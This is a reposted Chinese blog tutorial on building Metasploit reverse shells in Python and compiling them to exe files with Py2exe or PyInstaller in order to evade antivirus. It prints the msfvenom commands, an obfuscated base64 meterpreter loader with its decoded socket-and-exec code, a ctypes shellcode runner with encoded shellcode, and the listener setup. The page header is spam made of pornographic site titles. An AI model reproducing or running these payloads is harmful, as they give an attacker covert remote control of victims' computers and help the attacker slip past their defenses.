日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

python调用msf_MSF利用python反弹shell-Bypass AV

發(fā)布時間:2023/12/15 python 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 python调用msf_MSF利用python反弹shell-Bypass AV 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

本文主要介紹兩種利用msf生成python版 payload,并利用Py2exe或PyInstaller將python文件轉為exe文件,可成功bypass某些AV反彈shell

msf-python反彈shell姿勢1

1) msfvenom生成python后門

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.20.131 LPORT=4444 -f raw -o /tmp/mrtp.py

生成的mrtp.py文件如下:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAuMTMxJyw0NDQ0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')))

對其中的base64解碼為:

import socket,struct,time

for x in range(10):

try:

s=socket.socket(2,socket.SOCK_STREAM)

s.connect(('192.168.20.131',4444))

break

except:

time.sleep(5)

l=struct.unpack('>I',s.recv(4))[0]

d=s.recv(l)

while len(d)

d+=s.recv(l-len(d))

exec(d,{'s':s})

2)Py2exe將py后門轉為exe

python環(huán)境裝備

(1)安裝Python 2.7 x86 windows版:

https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi

*注意:必須使用x86版本Python 2.7。 即使Windows是x64的,也要安裝32位版本。 并且將python.exe添加到環(huán)境變量。

setup.py

setup.py 是利用Py2exe 將py轉為exe

#! /usr/bin/env python

# encoding:utf-8

from distutils.core import setup

import py2exe

setup(

name = "Meter",

description = "Python-based App",

version = "1.0",

console = ["mrtp.py"],

options = {"py2exe":{"bundle_files":1,"packages":"ctypes","includes":"base64,sys,socket,struct,time,code,platform,getpass,shutil",}},

zipfile = None

)

name、 description 、version是可選項

console = ["mrtp.py"] 表示生成控制臺程序 可bypass 某些AV

將mrtp.py和setup.py 兩個文件放到同一目錄下

執(zhí)行下面命令,即會在dist 目錄下生成mrtp.exe

python ./setup.py py2exe

3) MSF開啟監(jiān)聽&反彈shell

msf5 > use exploit/multi/handler

msf5 > set PAYLOAD python/meterpreter/reverse_tcp

msf5 > set LHOST 192.168.20.131

msf5 > set LPORT 4444

msf5 > run

點擊dist 目錄下的mrtp.exe,即可成功反彈shell

msf-python反彈shell姿勢2

1)msfvenom生成python shellcode

msfvenom -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.20.131 -e x86/shikata_ga_nai -i 11 -f py -o /tmp/mytest.py

2) myshellcode.py

將上面生成的shellcode復制到myshellcode.py中

#! /usr/bin/env python

# encoding:utf-8

import ctypes

def execute():

# Bind shell

shellcode = bytearray(

"\xbe\x24\x6e\x0c\x71\xda\xc8\xd9\x74\x24\xf4\x5b\x29"

"\xc9\xb1\x99\x31\x73\x15\x03\x73\x15\x83\xeb\xfc\xe2"

……………………省略一部分…………………………

"\xd1\xb4\xdb\xa8\x6d\x6d\x10\x17\x33\xf9\x2c\x93\x2b"

"\x0b\xcb\x94\x1a\xd9\xfd\xc7\x78\x26\xb3\x57\xea\x6d"

"\x37\xa5\x48\xea\x47\xf6\x81\x90\x07\xc6\x62\x9a\x56"

"\x13"

)

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),

ctypes.c_int(len(shellcode)),

ctypes.c_int(0x3000),

ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),

buf,

ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),

ctypes.c_int(0),

ctypes.c_int(ptr),

ctypes.c_int(0),

ctypes.c_int(0),

ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),

ctypes.c_int(-1))

if __name__ == "__main__":

execute()

3)PyInstaller將py轉為exe

pyinstaller同樣可以將.py程序打包成windows下可以執(zhí)行的exe文件。

pyinstaller依賴于pywin32,在使用pyinstaller之前,應先安裝pywin32

pyinstaller.py -F --console myshellcode.py

--console表示生成控制臺程序,可bypass某些AV

4) MSF開啟監(jiān)聽&反彈shell

msf5 > use exploit/multi/handler

msf5 > set PAYLOAD windows/meterpreter/reverse_tcp

msf5 > set LHOST 192.168.20.131

msf5 > set LPORT 4444

msf5 > run

點擊dist 目錄下的myshellcode.exe,即可成功反彈shell

本文只是簡單介紹方法、拋磚引玉,當然還有很多可以優(yōu)化改進的地方,大家可再完善。

參考

總結

以上是生活随笔為你收集整理的python调用msf_MSF利用python反弹shell-Bypass AV的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。